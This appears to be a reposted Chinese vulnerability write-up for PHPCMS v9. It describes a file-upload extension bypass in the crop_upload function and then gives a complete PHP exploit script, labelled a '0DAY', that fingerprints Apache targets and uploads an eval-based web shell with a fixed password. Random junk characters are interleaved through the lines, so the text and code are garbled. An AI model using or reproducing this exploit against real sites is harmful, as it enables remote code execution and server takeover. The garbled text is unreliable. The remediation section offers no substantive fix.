漏洞类型: 文件上传导致任意代码执行) D3 I% Y1 [" {& g# m2 y2 b( s6 k, ]
. `0 y4 t2 P' h6 h" d9 V1 j简要描述:" Q' j S: }5 A
! l+ x! J1 B$ l# T- J+ u& ?9 O+ o
phpcms v9 getshell (apache)% _2 p. U$ t# u! [" r' L; L3 l
详细说明:
! x$ F0 v/ t" ~- A3 Q. s' W( L5 _( p8 q% d9 t& X2 x8 v
漏洞文件:phpcms\modules\attachment\attachments.php
/ f4 D5 V& z7 ^$ J7 ]0 z7 n5 O; ?, k1 j
public function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } }
5 ]' L1 c( }" i后缀检测:phpcms\modules\attachment\functions\global.func.php* z' j4 B8 v6 m D2 h- n U
! C& i4 u" p2 G* W4 |0 c
, M* Y4 N0 u' W, h/ t- U2 y( A& E- q! i4 i; z6 P( Z8 }
function is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; }
7 H" }2 w( S) g5 g1 r9 {, F
& q5 O, p! c) @8 n' F2 W/ ]8 f1 s关键函数:
, X( t1 w% v/ |1 \9 P- U8 P j4 ?, M- L7 X
7 o, a6 H, P7 c
( h* B2 e2 a( M$ ^0 U: q) n8 G7 ]
function fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); } ; K' [/ u9 y, v( {+ G0 n
" A* @1 H( V/ n$ q. j6 d+ b
Fileext函数是对文件后缀名的提取。! Y. Z& ~! K8 b- M
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php$ i& k G, ~2 |) q4 d! e
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。% k) [$ l( D! O! G3 ^+ r0 }
我们回到public function crop_upload() 函数中* G) a3 e; @+ _# L- x
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
J/ _- a- Z9 q, ?# d在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
7 P( m% }3 q* _6 C) A这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
4 c6 p) m) s2 X! [# J( G经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
; v2 V4 X3 O Y4 L0 M( F0 L最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。0 `7 m5 P: `' Y A" O% f: u) l1 d
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。. k! u7 R& |4 G& h& u! d# B% Z% v" Y
漏洞证明:
$ q6 P$ R8 Y9 d/ R- z: ~
# w. I6 J, p1 M" [exp:* I+ H$ Q9 L# W
- r9 L! F$ C- h+ G I% l- }' X% c<?php
, |2 b. _2 p$ z6 i; u% B1 P7 qerror_reporting(E_ERROR);5 z3 f7 [/ H G1 k8 ?
set_time_limit(0);" ^& H& W, E' O1 i
$pass="ln";
8 ~2 ]6 z1 j( ]: I( O! ~/ ?$ Sprint_r('" Q, T7 C6 P. A, f
+---------------------------------------------------------------------------+
% L& e9 k% a6 G8 N- MPHPCms V9 GETSHELL 0DAY 4 V' O1 u5 F% m7 E
code by L.N.
4 x5 C' b7 r3 U0 p7 @6 Y$ G6 a! O; c; p1 O1 Z, G! }4 Q3 m4 _
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
q3 W u5 W# |( v. j+---------------------------------------------------------------------------+5 ?9 `0 a& E& ]
');
' |( E( L" l$ O, P y2 n1 P1 Fif ($argc < 2) {
?4 ~! I3 e+ ?7 iprint_r('
2 Q: H6 r$ |( Y0 [+---------------------------------------------------------------------------+9 ]8 a& ~5 ]/ R$ ~- F1 w+ T+ w- v5 j" M" @
Usage: php '.$argv[0].' url path
7 ?5 p6 X! e# x: D3 K& g
f9 A; ~( ]# h2 {. C' \0 p, ]' jExample:3 ^- P3 g1 B; s# J( E+ W4 L# _
1.php '.$argv[0].' lanu.sinaapp.com0 O8 Y S2 p* q
2.php '.$argv[0].' lanu.sinaapp.com /phpcms( v- ^+ z) M3 s( z; X9 b
+---------------------------------------------------------------------------+
" v* P0 c. a, \. g+ ]- m/ B');
( Z! J/ t/ G t! ~exit;
6 S% p4 j6 ~6 D5 X& N}
/ Y m2 E. K3 e. C+ n( E7 e1 Z, l) ^- d: V4 C# H4 {
$url = $argv[1];- [+ n$ `; O0 o" i4 V
$path = $argv[2];/ c% G) Z0 c4 r' d# D/ b: B
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
1 Y- H& X0 K+ c$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
8 q; a- `& I7 Gif($ret=Create_dir($url,$path)), U; V' ]1 c( P4 A+ ^0 d9 W' d
{
# U6 ?0 C$ }. p2 U% Y" k//echo $ret;2 Y e( G6 N$ @" [7 J" t
$pattern = "|Server:[^,]+?|U";
2 S5 e+ C/ ^3 O6 C+ qpreg_match_all($pattern, $ret, $matches);
: R$ N9 h' k( {$ R6 S8 _! Aif($matches[0][0])
" e! S0 I6 l" H: C* \4 ~4 P{% F" f$ ^+ {' }! X) ^" |6 J5 o
if(strpos($matches[0][0],'Apache') == false)2 ^6 @2 B6 X; P+ \
{# @9 G; }/ T5 V- h4 M! b# H4 w3 @
echo "\n亲!此网站不是apache的网站。\n";exit;& G- O, Z4 O7 O& I
}/ ?$ W3 w# D7 j. }
}
" ~" n/ j' K; l5 T9 Q. ? j$ret = GetShell($url,$phpshell,$path,$file);+ m0 ^7 ?* W; s- k0 e6 b3 k& [
$pattern = "|http:\/\/[^,]+?\.,?|U";
" ]% w: r% }# W' ~ U7 p. Apreg_match_all($pattern, $ret, $matches);& g H: i8 h; ~/ v# \
if($matches[0][0])" C( R# V! e2 \9 n: I- i1 K% ]
{1 f0 h( _: l# ^9 w4 x! v' ~% @, u
echo "\n".'密码为: '.$pass."\n";
% O, b" ^, z& B% wecho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;: _+ M1 m$ C5 A" s
}2 S$ X U' g' J9 G
else3 D z& _" G& N3 ?) i# d8 B
{
+ k( J. d( Y) f, z$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
, d5 g: ^$ L. S! e) spreg_match_all($pattern, $ret, $matches);5 [0 m# }, r# N. A6 d
if($matches[0][0])# W0 ~6 s5 x5 V- Q! ~
{
& x/ e y/ V6 o0 B" L, L. |echo "\n".'密码为: '.$pass."\n";! z7 [. ?) T$ e/ [7 e) y
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;% t1 P$ F; D8 ~. ?9 L
}
+ Y% C. D% g* S, f- c* ^else
3 e9 i% K' z$ [5 ~/ r% K" p{; |6 ~0 q. f ]) ^4 D
echo "\r\n没得到!\n";exit;
$ V% D T& v1 l' g; j3 f}4 O" h; y/ }+ R+ c+ C0 [' k& y
}
, X4 v- D! ~/ Z! k}: D" Y0 Y5 L, H! C; W" W
* R: ~% ]8 |! O1 K2 ^* Q: Rfunction GetShell($url,$shell,$path,$js)
4 `4 \' Q. h |0 `$ H{
4 a0 h' X6 A. P7 k6 m& ^ X% G$content =$shell;
+ w7 [! w% d2 {$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
3 w/ [8 ]2 j- V. Q" e. o9 @% ~% I$data .= "Host: ".$url."\r\n";
9 l% J F( N) }! _6 }0 A( o" ~$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";) x- d m G) W, R _$ K# q
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";2 _, O4 G0 P& y$ {$ K5 ^: L
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";, x0 l7 S5 | \5 u4 K5 k
$data .= "Connection: close\r\n";
' j/ R+ D4 I) y' u2 k! y; E1 D$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
( f8 j: s, y) D$data .= $content."\r\n";- ~( `2 c g Z# d) r2 E# [, Q1 M
$ock=fsockopen($url,80);2 d" \, x. [' Z2 ]
if (!$ock)8 c6 M1 [0 u0 T' N% B- K7 F
{* M9 F$ \- F7 Z( ^( i7 x' X, }! m
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
+ M, X* H3 [ c, P& O}
' v1 u% v( E* c4 Felse
4 L- n3 Q/ p+ e# Y7 F5 D$ f$ N{7 F1 ~0 B/ x% O Q; s- w
fwrite($ock,$data);/ [, P1 R* M$ d% I- ^
$resp = '';3 f7 O1 Q, N+ U7 H* G
while (!feof($ock))
) U9 v% ]/ z8 i3 R{1 `) G* r, V1 C! B
$resp.=fread($ock, 1024);. ]; |( F1 a7 E
}
7 e: ~, C, j* vreturn $resp;
* H0 [4 F( k/ s& R* \5 I! U}' k. p, }1 @' m0 X7 t( v/ @
}+ _& ~1 Y2 F2 u6 i/ P; v
* d- a7 T, R1 p: H: S7 u$ r- c1 Xfunction Create_dir($url,$path='')/ ]; W/ C7 {5 h/ s/ [( J
{
: ~- L a+ [' {/ `$content ='I love you';
* p2 J. w% p8 r$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";- h! U! [3 o1 u$ D
$data .= "Host: ".$url."\r\n";, h2 w5 }4 i( B4 e" c
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
( L" L2 W( R: z: |$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
5 k4 q4 {+ e( j% q7 d1 V$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
$ y: D1 f* n# R1 d$data .= "Connection: close\r\n";
* j. {! [$ ]' J" f& C. B$data .= "Content-Length: ".strlen($content)."\r\n\r\n";" n5 F! c0 x. G- u- f# u
$data .= $content."\r\n";
5 u8 d; C, z6 C! r5 J# U \; L$ock=fsockopen($url,80);
7 H2 `8 ~: c, P1 cif (!$ock)* l$ t5 B! ^0 q) ?8 D/ V/ V
{ o" S4 j9 Y: e! K( q
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
/ |0 x" W3 H- G F2 o}
# _2 e* J. r/ i3 u1 n j' I3 m( Jfwrite($ock,$data);
. _/ D0 g6 H1 N4 U [$resp = '';
9 [: ]; @3 ^/ Lwhile (!feof($ock))4 b$ p. l; N! ~( o# L+ ]
{$ h$ k( G a9 H$ Q. P, s6 |# N
$resp.=fread($ock, 1024);
" q: B( u7 y2 V3 Z9 x7 f( Q}
1 n9 p- h+ i6 z" y( z% s. X! A3 zreturn $resp;
; w" v* `. x: {}
% c; [+ e; ]! _1 |5 w?> 9 x0 ]0 F, O* J! {* B8 y+ U
0 C* v# G* q; w( x/ }& |; ?# E
修复方案:
9 G) f; a5 @7 q4 e0 X/ \! G; Y. M/ E& g p8 r9 r3 i
过滤过滤再过滤
- r) O+ a2 V7 @) i/ `) T
~7 D( L* [8 A8 O1 M |